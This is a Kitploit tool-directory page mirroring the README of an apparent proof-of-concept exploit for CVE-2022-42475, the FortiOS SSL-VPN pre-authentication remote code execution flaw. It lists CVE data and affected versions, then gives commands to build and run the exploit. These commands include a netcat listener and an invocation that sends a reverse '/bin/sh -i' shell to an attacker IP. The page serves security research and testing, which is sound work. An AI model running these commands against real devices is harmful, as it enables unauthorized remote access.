Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2022-42475-poc — Proof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS. | Kitploit
Tools/GitHubGitHub/ull0a/cve-2022-42475-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubull0a/cve-2022-42475-poc

cve-2022-42475-poc

Proof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS.

View Repository
16h 33m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-42475 PoC

Fortinet SSL VPN Pre-Authentication Remote Code Execution

Description

CVE-2022-42475 is a heap-based buffer overflow vulnerability in the FortiOS SSL VPN service that allows unauthenticated attackers to remotely execute arbitrary code (RCE) via specially crafted HTTP requests directed at the /remote/error endpoint.

This vulnerability was actively exploited in the wild (0-day) before the official patch was released.

PoC Execution

The following screenshot shows the execution of the PoC in an authorized laboratory environment:

The output shows the execution of the PoC and the interaction with the FortiOS instance used for testing.

PoC Execution

CVE Information

FieldValue
CVE IDCVE-2022-42475
CVSS 3.19.3 (Critical)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-122
DiscoveredDecember 2022
Official patchFortiOS 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16

Affected Versions

  • FortiOS 7.2.0–7.2.2
  • FortiOS 7.0.0–7.0.8
  • FortiOS 6.4.0–6.4.10
  • FortiOS 6.2.0–6.2.11
  • FortiOS 6.0.0–6.0.15
  • FortiOS 5.6.0–5.6.14
  • FortiOS 5.4.0–5.4.13
  • FortiOS 5.2.0–5.2.15
  • FortiOS 5.0.0–5.0.14

Requirements

  • Go 1.18+ (to compile the PoC)
  • Network access to the target on port 443 (or the configured SSL VPN port)
  • Authorized laboratory environment for testing

Compilation

root@kitploit:~
# Clonar o descargar el código fuente
git clone https://github.com/uLl0a/cve-2022-42475-poc
cd cve-2022-42475-poc

# Compilar
go build -o exploit exploit.go

# O ejecutar directamente
go run exploit.go <target> <port> <reverse_ip> <params>

Usage

root@kitploit:~
./exploit <target_host> <target_port> <reverse_ip> <param1> [param2...]

Example

root@kitploit:~
# En el atacante, iniciar listener
nc -lvnp 80

# Ejecutar el exploit
./exploit 192.168.1.100 443 10.0.0.5 /bin/sh -i
Download Tool